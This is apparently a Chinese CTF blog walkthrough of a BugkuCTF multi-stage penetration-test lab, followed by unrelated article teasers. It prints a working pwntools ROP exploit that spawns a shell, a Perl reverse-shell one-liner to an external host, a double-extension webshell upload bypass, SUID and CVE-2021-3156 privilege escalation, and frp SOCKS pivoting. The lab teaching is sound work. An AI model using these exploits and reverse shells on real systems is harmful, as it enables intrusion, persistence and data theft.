bugkctf 渗透测试1超详细版
bugkctf 渗透测试1
下发环境进行访问
场景1
通过查看网页源代码成功找到1个flag
得到flag和提示
<!--flag{950d83a16ad47127859d414009432171} PS:下个flag网站管理员才能看到哦-->
场景2
根据提示需要管理员权限,进行登录,直接登录需要邮箱和邮箱验证码,换个思路进网站的后台看看,对敏感目录进行扫描
访问admin进行尝试,会跳转到管理登录页面,进行弱口令爆破试试
成功登录,账号密码为admin/admin,进入后成功找到第二个flag以及第三个flag的提示。
场景3
发现上传配置,对上传配置进行修改,添加PHP为上传后缀
进行上传发现回显为上传文件后缀不能为空,应该是服务器检测到上传的文件后缀是php,对其进行了删除后缀,进行双写后缀试试
上传shell.pphphp,成功上传,掏出我们的蚁剑进行连接,
成功连接后在/home/ctf/flag成功找到flag
场景4
根据提示找到数据库配置文件,成功拿到数据库连接密码
这个时候需要连接数据库,因为蚁剑是非实时工具,连接数据库的时候有点困难,这个时候换成哥斯拉,重新上马连接,连接数据库
成功连接到数据库
拿到flag和提示。
场景5
在题目上发现提示
将main下载下来check一下是一个32位程序,
拖进IDA中进行分析,发现栈溢出,vul函数中没有找到相关的后门函数,需要构造ROP,
确定脚本思路,使用nmap
扫描,看一下开放端口
┌──(root㉿kali-linux-2024-2)-[~]
└─# nmap 139.196.226.142
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-22 12:48 CST
Nmap scan report for 139.196.226.142
Host is up (0.033s latency).
Not shown: 991 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
4444/tcp filtered krb524
8080/tcp open http-proxy
9999/tcp open abyssNmap done: 1 IP address (1 host up) scanned in 1.78 seconds
成功得到端口是9999
,编写利用脚本
from pwn import *
from LibcSearcher import LibcSearcher
r = remote('139.196.226.142', 9999) #需要替换成自己的IP
elf = ELF('./main')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
#构造第一次溢出
payload = b'a' * (0x28) # 填充 0x28 字节,造成栈溢出
payload += p32(write_plt) # 调用 write 函数
payload += p32(main_addr) # 返回到 main 函数,重新利用输入点
payload += p32(1) # write 函数的第一个参数:stdout
payload += p32(write_got) # write 函数的第二个参数:write 的got地址
payload += p32(4) # write 函数的第三个参数:写入 4 字节
r.sendlineafter(b'plz input your name:\n', payload)# 接收got地址
write_addr = u32(r.recv(4))
log.info(f"write 的地址: {hex(write_addr)}")# 查找 libc 版本
libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write')
system_addr = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump('str_bin_sh')
log.info(f"system 的地址: {hex(system_addr)}")
log.info(f"/bin/sh 的地址: {hex(bin_sh_addr)}")
# 构造第二次溢出的 payload,调用 system("/bin/sh")
payload = b'a' * (0x28) # 填充 0x28 字节,造成栈溢出
payload += p32(system_addr) # 调用 system 函数
payload += p32(main_addr) # 返回到 main 函数,防止程序崩溃
payload += p32(bin_sh_addr) # system 函数的参数:/bin/sh# 发送 payload
r.sendline(payload)# 进入交互模式,获取 shell
r.interactive()
编写后开始运行
场景6、场景7
根据上个场景的提示要注意8080,之前nmap
也扫描出来了8080端口,进行访问
又是一个登录界面,同时指纹探测出来是java的,抓包看看那个框架
老规矩,使用弱口令试试,开启burp
进行抓包,发现关键字段,
Set-Cookie: rememberMe=deleteMe;
是与 Shiro 框架 相关的 Cookie 设置。确定框架为Shiro
,直接掏出我们的shiro反序列化漏洞综合利用工具
成功利用框架漏洞,可以正常使用功能区了
cat
命令读取root
下的flag发现权限不够,只能读取到home/flag
的,提交发现是场景7的flag,猜测网站中应该还有flag,通过find / -type f -exec grep -l "flag" {} \; 2>/dev/null
命令进行查找
find / -type f -exec grep -l "flag" {} \; 2>/dev/null
命令解释:
find /
:从根目录/
开始递归查找。-type f
:只查找文件(不包括目录)。-exec grep -l "flag" {} \;
:对每个文件执行grep
命令,查找文件内容中是否包含flag
。-l
:只输出包含匹配内容的文件名。
2>/dev/null
:忽略错误信息(如权限不足的提示)。
找到的文件过多,一个一个查找过多,
换个思路,扫描一下网站,看看是否存在未发现的细节
经过扫描目录发现/robots.txt
,进行访问,果然发现之前出现了遗漏
这个才是场景六的flag,
场景8
在场景7中已经成功利用框架漏洞,对其进行内存马注入,成功注入
掏出我们的哥斯拉对其进行连接,这里要注意将有效载荷(即文件类型)换成java
进入命令执行页面,在场景7中的root/flag
显示过是权限不足,这里就需要进行提权了。试试suid提权
——当一个文件设置了 SUID 权限时,用户在执行该文件时会以文件所有者的权限运行,而不是以当前用户的权限运行。
find / -perm -4000 -type f 2>/dev/null
回显出现find
,利用find
命令提权
find flag -exec whoami \;
find flag
:在当前目录下查找名为flag
的文件或目录。-exec whoami \;
:对每个找到的文件或目录执行whoami
命令。whoami
:显示当前用户的用户名。\;
:表示-exec
命令的结束。
find flag -exec cat /root/flag \;
成功读取到flag,并且还有提示Internal network
——内网。
场景9
通过上一个场景写入的内存马进行连接,上传fscan
,同时通过反弹shell来建立一个真正的实时终端。
在服务器上开启监听
nc -lvp 5656
端口可以自定义修改,只需要同时修改自己的IP和端口即可
在靶机终端创建反弹shell
perl -e 'use Socket;$i="117.72.37.106";$p=5656;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
成功弹回
这个时候还不是实时连接,使用script
命令来换成实时终端
script 命令用于记录终端会话的所有输入和输出
实时终端创建完成,开始进行内网穿透,
查看IP
ip -a
得出本机IP是192.168.0.3
,上传fscan进行扫描
./fscan -h 192.168.0.3/24 -nobr -o res.txt
-h 192.168.0.3/24
: 指定扫描的目标网络。192.168.0.3/24
表示扫描192.168.0.0
到192.168.0.255
范围内的所有 IP 地址。-o res.txt
: 指定输出文件为res.txt
,扫描结果将保存到这个文件中。
扫描完成后对res.txt
进行查看,扫描出四个地址
192.168.0.4:3306 open
192.168.0.2:80 open
192.168.0.1:80 open
192.168.0.4:80 open
192.168.0.1:22 open
192.168.0.3:8080 open
192.168.0.1:8080 open
192.168.0.2:9999 open
192.168.0.1:9999 open
[*] WebTitle: http://192.168.0.3:8080 code:302 len:0 title:None 跳转url: http://192.168.0.3:8080/login;jsessionid=961F749750790C23558059F9558586CC
[*] WebTitle: http://192.168.0.1:8080 code:302 len:0 title:None 跳转url: http://192.168.0.1:8080/login;jsessionid=9D9594C712238D5BDE8FD17F9A03BAF2
[*] WebTitle: http://192.168.0.1:8080/login;jsessionid=9D9594C712238D5BDE8FD17F9A03BAF2 code:200 len:2608 title:Login Page
[*] WebTitle: http://192.168.0.3:8080/login;jsessionid=961F749750790C23558059F9558586CC code:200 len:2608 title:Login Page
[*] WebTitle: http://192.168.0.1 code:200 len:59431 title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.2 code:200 len:59431 title:W3School教程系统 | 打造专一的web在线教程系统
[*] WebTitle: http://192.168.0.4 code:200 len:8351 title:博客首页
[+] http://192.168.0.4 poc-yaml-thinkphp5023-method-rce poc1
[+] http://192.168.0.1:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[+] http://192.168.0.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
通过ftp
搭建Socks5
代理,在服务端对frps
配置文件进行修改
bindPort = 7000
加权,运行
chmod +x frps
./frps -c frps.toml
上传frp
客户端到靶机地址,并对frp
客户端的配置文件进行修改
[common]
server_addr = 117.72.37.106
server_port = 7000[socks5]
type = tcp
local_ip = 127.0.0.1
local_port = 1080
remote_port = 10800
plugin = socks5
加权,运行
chmod +x frpc
./frpc -c frpc.toml
成功搭建,更改真机代理和浏览器代理,进行访问
访问192.168.0.4
地址,发现是thinkphp 5023 rce,直接使用payload打
成功注入木马,蚁剑连接(连接过程需要配置代理)
在网站根目录发现flag,成功提交还有提示数据库。
场景10
既然提示数据库了,先看看数据库的配置文件,确定一下数据库的账户密码,文件为/var/www/html/application/database.php
<?phpa1
return [// 数据库类型'type' => 'mysql',// 服务器地址'hostname' => '127.0.0.1',// 数据库名'database' => 'aman',// 用户名'username' => 'aman',// 密码'password' => 'aman123',
成功拿到数据库账号密码,蚁剑连接数据库有点困难,这个时候在此上传一个哥斯拉的木马,然后进行连接(连接过程同样需要配置代理),连接后进行数据库操作
成功连接数据库读取到flag
场景11
从上一个场景的提示以及题目本身的提示,可以确定需要进行提权了
使用检测脚本确认一下要利用的漏洞
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
同时查看一下各项的版本
#!/bin/bash
echo "=== 系统漏洞检测脚本 ==="
echo "检查内核版本"
uname -r
echo "检查 polkit 版本"
pkexec --version
echo "检查 OpenSSH 版本"
ssh -V 2>&1 | grep -i "OpenSSH"
echo "检查 OpenSSL 版本"
openssl version
echo "检查 Apache 版本"
apache2 -v 2>/dev/null || httpd -v 2>/dev/null
echo "检查 Nginx 版本"
nginx -v 2>&1
echo "检查 MySQL 版本"
mysql --version
echo "检查 PostgreSQL 版本"
psql --version
echo "检查 Docker 版本"
docker --version
echo "检查sudo版本"
sudo -V
echo "=== 检测完成 ==="
发现pkexec version 0.105
,可以使用CVE-2021-4034
来进行提权,Sudo version 1.8.31
,可以使用CVE-2021-3156
来提权,这里使用CVE-2021-3156
来进行提权,从github上下载提权脚本,进行上传,上传完成后,加权,make
一下,
通过命令././exploit 'cat /root/flag'
成功读取到root账户下的flag,完成通关。
相关文章:
bugkctf 渗透测试1超详细版
bugkctf 渗透测试1 下发环境进行访问 场景1 通过查看网页源代码成功找到1个flag 得到flag和提示 <!--flag{950d83a16ad47127859d414009432171} PS:下个flag网站管理员才能看到哦-->场景2 根据提示需要管理员权限,进行登录,直接登录需要邮箱和…...
window安装TradingView
目录 下载安装包 修改文件后缀,解压 将K线换成国内涨红跌绿样式 下载安装包 https://www.tradingview.com/desktop/ 下载完成后是.msix格式文件 (我在win10和win11的系统中尝试运行msix都没有成功,所以放弃直接双击运行msixÿ…...
网络下载ts流媒体
网络下载ts流媒体 查看下载排序合并 很多视频网站,尤其是微信小程序中的长视频无法获取到准确视频地址,只能抓取到.ts片段地址,下载后发现基本都是5~8秒时长。 例如: 我们需要将以上地址片段全部下载后排序后再合成新的长视频。 …...
log4j2漏洞复现(CVE-2021-44228)
靶场环境 步骤一:设置出战规则 步骤二:开启靶场 cd vulhub cd log4j cd CVE-2021-44228 docker-compose up -d docker ps 访问端口 靶机开启 步骤三:外带注入 获得dnslog 靶机访问dnslog 得到dnslog的二级域名信息 步骤四:构造…...
应用(APP)部署容器化演进之路
应用(Application)部署容器化演进之路 一、应用程序部署痛点 1.1 应用程序部署流程 举例:部署一个JAVA编程语言开发的Web应用,以War包放入Tomcat方式部署。 部署过程如下: 服务器配置运行环境:JAVA代码运行环境&am…...
Pytorch | 从零构建EfficientNet对CIFAR10进行分类
Pytorch | 从零构建EfficientNet对CIFAR10进行分类 CIFAR10数据集EfficientNet设计理念网络结构性能特点应用领域发展和改进 EfficientNet结构代码详解结构代码代码详解MBConv 类初始化方法前向传播 forward 方法 EfficientNet 类初始化方法前向传播 forward 方法 训练过程和测…...
Saprk和Flink的区别
1 、设计理念方面 Spark 的技术理念是使用微批来模拟流的计算,基于 Micro-batch ,数据流以时间为单位被切分为一个个 批次,通过分布式数据集RDD 进行批量处理,是一种伪实时。 Flink 是基于事件驱动的,是面向流的处理…...
Spring Boot 动态定时任务管理系统(轻量级实现)
Spring Boot项目中,实现动态增删和启停定时任务的功能对于许多应用场景来说至关重要。虽然Quartz框架是一个广泛使用的解决方案,但其复杂性和重量级特性可能使得项目变得臃肿和难以维护。为了解决这个问题,本项目旨在实现一个轻量级的定时任务…...
开发微信小程序的过程与心得
起因 作为家长,我近期参与了学校的护学岗工作。在这个过程中,我发现需要使用水印相机来记录护学活动,但市面上大多数水印相机应用都要求开通会员才能使用完整功能。作为一名程序员,我决定利用自己的技术背景,开发一个…...
项目代码第6讲:UpdownController.cs;理解 工艺/工序 流程、机台信息;前端的“历史 警报/工艺 记录”
一、UpdownController.cs 1、前端传入 当用户在下图的“记录查询”中的 两个界面选项 中,点击“导出”功能时,向后端发起请求,请求服务器下载文件的权限 【权限是在Program.cs中检测的,这个控制器里只需要进行“谁在哪个接口下载了文件”的日志记录】 【导出:是用户把…...
Apache RocketMQ 5.1.3安装部署文档
官方文档不好使,可以说是一坨… 关键词:Apache RocketMQ 5.0 JDK 17 废话少说,开整。 1.版本 官网地址,版本如下。 https://rocketmq.apache.org/download2.配置文件 2.1namesrv端口 在ROCKETMQ_HOME/conf下 新增namesrv.pro…...
uni-app开发收货地址管理
目录 一:功能描述 二:功能实现 一:功能描述 收货地址在个人中心的我的地址里面,点击我的地址可以查看我的收货地址列表,可以新增收货地址,点击特定收货地址可以编辑和删除该地址信息。 二:功能实现 1:收货地址列表 <view v-for="(item, index) in data_lis…...
BOE(京东方)“向新2025”年终媒体智享会落地成都 持续创新引领产业步入高价值增长新纪元
12月20日,BOE(京东方)“向新 2025”年终媒体智享会的脚步从上海延伸至成都。川渝之地,作为 BOE(京东方)产业生态战略布局中的关键一子,此刻再度成为行业瞩目的焦点。本次活动全面回溯了BOE(京东方)在2024年多个关键领域斩获的斐然佳绩,深入剖析了六大维度构建的“向新”发展格局…...
JavaWeb - ⭐ AOP 面相切面编程原理及用户校验功能实战
一、概述 定义: AOP (Aspect Oriented Programming 面向切面编程) ,一种面向方法编程的思想 功能:管理 bean 对象的过程中,通过底层的动态代理机制对特定方法进行功能的增强或改变 实现方式:动态代理技术,…...
鸿道Intewell工业操作系统,三大关键技术,领跑行业前沿
鸿道工业操作系统,是软件定义控制的工业实时操作系统,具备三大关键技术: 1、确定性计算与高实时响应(微秒级、关键指标) 提供确定性的计算与高实时的系统环境,保障工业生产运作的灵活高效。 2、微内核、并发处理(微内核的强大…...
java 对ElasticSearch数据库操作封装工具类(对你是否适用嘞)
在 Java 中封装 ElasticSearch(ES)数据库操作(ES版本之间变动挺大的,别轻易换版本),可以使得与 ES 的交互更加简洁和易于维护。通过封装常见的操作,如插入文档、查询、更新和删除等,…...
HarmonyOS NEXT 技术实践-基于基础视觉服务实现骨骼点识别
本示例展示了如何在HarmonyOS Next中实现基于基础视觉服务的骨骼点识别功能。骨骼点识别是计算机视觉中的一项重要技术,广泛应用于运动分析、健身监控和增强现实等领域。通过使用HarmonyOS Next提供的视觉API,开发者能够轻松地对人物图像进行骨骼点检测&…...
广州大学计算机组成原理课程设计
一.课设性质,目的,任务 《计算机组成与系统结构课程设计》是计算机学院各专业集中实践性环节之一,是学习完《计算机组成与系统结构》课程后进行的一次全面的综合练习。其目的是综合运用所学计算机原理知识,设计并实现一台模型计算…...
【漏洞复现】CVE-2021-45788 SQL Injection
漏洞信息 NVD - cve-2021-45788 Time-based SQL Injection vulnerabilities were found in Metersphere v1.15.4 via the “orders” parameter. Authenticated users can control the parameters in the “order by” statement, which causing SQL injection. API: /test…...
【Java基础面试题035】什么是Java泛型的上下界限定符?
回答重点 Java泛型的上下界限定符用于对泛型类型参数进行范围限制,主要有上界限定符和下届限定符。 1)上界限定符 (? extends T): 定义:通配符?的类型必须是T或者T的子类,保证集合元素一定是T或者T的子类作用&…...
无需GPU也能跑的修图神器(祛痣、去水印、去路人)
背景 在这个视觉内容创作盛行的时代,大家对图片质量要求愈发严苛。无论是日常分享的自拍照想祛痣变得完美无瑕,还是摄影作品需去水印彰显原创,亦或是旅游打卡照要去路人还原美景。如今,一款能在 CPU 上流畅运行的修改神器应运而生…...
R语言数据分析案例47-上海译文出版社旗舰店图书分析和可视化
一、研究背景 随着数字化时代的发展,图书出版行业面临着日益激烈的市场竞争。上海译文出版社作为一家知名的出版机构,其旗舰店的图书销售数据蕴含着丰富的信息。对最新入库图书进行深入分析和可视化呈现,有助于出版社更好地了解市场动态、读…...
牵手红娘:牵手App红娘助力“牵手”,脱单精准更便捷
随着互联网的普及,现代青年的社交圈层加速扩大,他们的恋爱观也正经历着前所未有的转变。在繁忙的工作之余,人们希望能够找到一种既高效又真诚的交友方式。于是,线上交友平台成为了他们寻找爱情的新选择。让不同文化背景、不同工作…...
什么是根服务器?有什么作用?
你知道什么是根服务器吗?在互联网的庞大架构中,根服务器很多人对它的了解并不深入。那么,根服务器到底是什么,它有什么作用呢? 什么是根服务器? 根服务器是互联网域名系统(DNS)的一部分,负责管理和维护最顶层的域名信息。简单…...
Tavily人工智能代理和检索增强生成应用设计的搜索引擎
Tavily人工智能代理和检索增强生成应用设计的搜索引擎 Tavily是一款专为人工智能代理和检索增强生成应用设计的搜索引擎.以下是其使用示例: 安装与配置 需先安装相应的包,并获取API密钥来设置环境变量. %pip install -qU "langchain-community>=0.2.11" tavi…...
web的五个Observer API
IntersectionObserver: 一个元素从不可见到可见,从可见到不可见 ??IntersectionObserver是一种浏览器提供的 JavaScript API,用于监测元素与视窗的交叉状态。它可以告诉开发者一个元素是否进入或离开视窗,以及两者的交叉区域的…...
CSS学习记录19
CSS文本效果 CSS text-overflow 属性规定应如何向用户呈现未显示的溢出的内容。 //裁剪 text-overflow: clip; //隐藏 text-overflow: ellipsis; CSS字换行(Word Wrapping) CSS word-wrap 属性使长文字能够被折断并换到下一行。 如果一个单词太长而…...
使用Amazon Bedrock的无服务器的智能工作流
使用Amazon Bedrock的无服务器的智能工作流 智能工作流基于用户输入处理不可预见的任务,比如发起API调用。无服务器架构可以高效地管理这些任务和不同的工作负载,而无需维护服务器,从而加快部署速度。 你将学习如何通过使用带有保护措施的智能…...
SDMTSP:粒子群优化算法PSO求解单仓库多旅行商问题,可以更改数据集和起点(MATLAB代码)
一、单仓库多旅行商问题 单仓库多旅行商问题(Single-Depot Multiple Travelling Salesman Problem, SD-MTSP):𝑚个推销员从同一座中心城市出发,访问其中一定数量的城市并且每座城市只能被某一个推销员访问一次&#x…...
Java中的访问修饰符:分类、作用及应用场景
在Java编程中,访问修饰符(Access Modifiers)是控制类、方法、变量和构造函数访问权限的关键工具。通过合理使用访问修饰符,可以有效地封装代码,保护数据,并确保代码的安全性和可维护性。本文将详细介绍Java…...
【day16】Java开发常用API
模块15回顾 在深入探讨模块16之前,让我们回顾一下【day15】中的重点内容: String类: 构造方法:String(), String(String s), String(char[] chars), String(byte[] bytes), String(char[] chars, int offset, int count), String…...
LLaMA-Factory(二)界面解析
这里写目录标题 1. 基础选项语言模型选择模型路径微调方法检查点路径量化等级量化方法提示模板RoPE加速方式 2.模型训练界面训练方式数据集超参数设置其他参数部分参数设置LoRA参数设置RLHF参数设置GaLore参数设置BAdam参数设置训练 3.评估预测界面4.Chat界面5.导出Export界面 …...
(14)CT137A- 动态数码管设计
(1)了解板卡原理图中数码管的特性:共阳极数码管,公共端连接了电源,FPGA IO口低电平有效,另外,可以看到位选端FPGA位选低电平时选通。 (2)刷新时间的设定:众所…...
RT-DETR学习笔记(2)
七、IOU-aware query selection 下图是原始DETR。content query 是初始化为0的label embedding, position query 是通过nn.Embedding初始化的一个嵌入矩阵,这两部分没有任何的先验信息,导致DETR的收敛慢。 RT-DETR则提出要给这两部分(conten…...
JS、JSX 和 TSX 的对比指南
JS、JSX 和 TSX 的对比指南 1. JavaScript (.js) 简介 JavaScript 是一种轻量级的、解释型的编程语言,是 Web 开发中最基础的语言之一。 优点 学习曲线较低,容易入门使用范围广泛,生态系统成熟灵活性高,支持多种编程范式不需…...
【STM32】RTT-Studio中HAL库开发教程十:EC800M-4G模块使用
文章目录 一、简介二、模块测试三、OneNet物联网配置四、完整代码五、测试验证 一、简介 EC800M4G是一款4G模块,本次实验主要是进行互联网的测试,模块测试,以及如何配置ONENET设备的相关参数,以及使用STM32F4来测试模块的数据上报…...
增加nginx配置文件(conf.d), 管理多个项目
1.切换到nginx目录下, 新建conf.d文件夹 mkdir conf.d 2.赋予conf.d权限 chmod 777 conf.d 3.进入conf.d, 编辑conf文件 vim zc_travel.conf server { listen 13101; server_name localhost;location / {root /home/baoxin/app/web/insight-radar-rcfx-pre/html_dev;index …...
服务器中了挖矿病毒-应急响应
事件:客户反映服务器响应很慢,出行卡顿,服务器操作系统为windows server 2008。 现场解决步骤: 1、打开任务管理器,看到一个javs.exe的程序,占用CPU使用率比较高,怀疑可能是木马。 2、右键打开…...
pid学习感悟
飞行控制PID算法——无人机飞控_飞控算法-CSDN博客 首先pid是对现测量值和目标值的差值,即偏差值的操作 p是线性操作,偏差越大,则对于控制单元操作的值越大 d是微分操作,我们知道微分其实就是数值变化的斜率,所以当偏…...
Centos7.9安装openldap+phpldapadmin+grafana配置LDAP登录最详细步骤 亲测100%能行
一、部署LDAP 1、安装LDAP yum install -y openldap-servers openldap-clients openldap openldap-devel compat-openldap openldap-servers-sql systemctl start slapd systemctl enable slapd2、创建第一个管理账号密码(设置为ldapadmin) slappass…...
唯品会C++面试题及参考答案
内存池怎么可以保证不会产生碎片? 内存池通过预先分配一块较大的内存区域,然后对这块内存进行管理,来减少碎片产生。 首先,内存池采用固定大小的内存块分配策略。比如,将内存池划分成大小相同的小块,当有内存分配请求时,就从这些固定大小的块中选取合适的进行分配。这种…...
Flask中@app.route()的methods参数详解
诸神缄默不语-个人CSDN博文目录 在 Flask 中,app.route 是用于定义路由的核心装饰器,开发者可以通过它为应用指定 URL 映射及相应的处理函数。在处理 HTTP 请求时,不同的业务场景需要支持不同的 HTTP 方法,而 app.route 的 metho…...
使用Grafana中按钮插件实现收发HTTP请求
最近项目中需要监控分布式集群的各项指标信息,需要用到PrometheusGrafana的技术栈实现对分布式集群的各个节点状态进行可视化显示,但是要求前端需要提供一个易用的接口让用户可以触发一些操作,例如负载高时进行负载均衡或弹性伸缩。网上找到的…...
workman服务端开发模式-应用开发-vue-element-admin挂载websocket
一、项目根目录main.js添加全局引入 import /utils/websocket 二、在根目录app.vue 中初始化WebSocket连接 <template><div id"app"><router-view /></div> </template><script>import store from ./store export default {n…...
堆排序【东北大学oj数据结构9-4】C++
堆排序是一种基于堆的数据结构的排序,是一种快速排序算法,可以在输入数组中实现排序处理(内存高效)。 堆排序可以实现如下: maxHeapify(A, i) l left(i) r right(i) // select the node which has the m…...
Linux RTC 驱动框架
目录 一、实时时钟(RTC)介绍1.1 概述1.2 功能1.3 应用场景1.4 工作原理1.5 对外接口1.6 常见 RTC 芯片1.7 在 Linux 系统中的应用1.8 注意事项 二、Linux 内核 RTC 驱动框架2.1 相关源码文件介绍2.2 核心数据结构2.2.1 struct rtc_device2.2.2 rtc_class…...
智能订餐:基于JSP的管理系统设计与优化
相关技术介绍 2.1 B/S结构 目前使用较多的开发结构模式大致可以包括C/S模式和B/S模式[5]。其中,C/S模式全称为客户端/服务器模式(Client/Server模式),B/S模式全称为浏览器/服务器模式(Browser/Server模式)。…...
Java基本查询(四)
JPA 查询All示例 JPA教程 - JPA查询All示例 我们可以在JPQL中使用带有子查询的ALL运算符。 List l em.createQuery("SELECT e FROM Professor e WHERE e.salary < " "ALL (SELECT d.salary FROM e.directs d)").getResultList();例子 下面的代码来自…...
【双指针算法】--复写零
文章目录 1. 题目2. 题目解析3. 代码 1. 题目 在线oj 给你一个长度固定的整数数组 arr ,请你将该数组中出现的每个零都复写一遍,并将其余的元素向右平移。 注意:请不要在超过该数组长度的位置写入元素。请对输入的数组 就地 进行上述修改&a…...
leetcode hot100 两两交换链表之中的节点
24. 两两交换链表中的节点 已解答 中等 相关标签 相关企业 给你一个链表,两两交换其中相邻的节点,并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题(即,只能进行节点交换) # Definition fo…...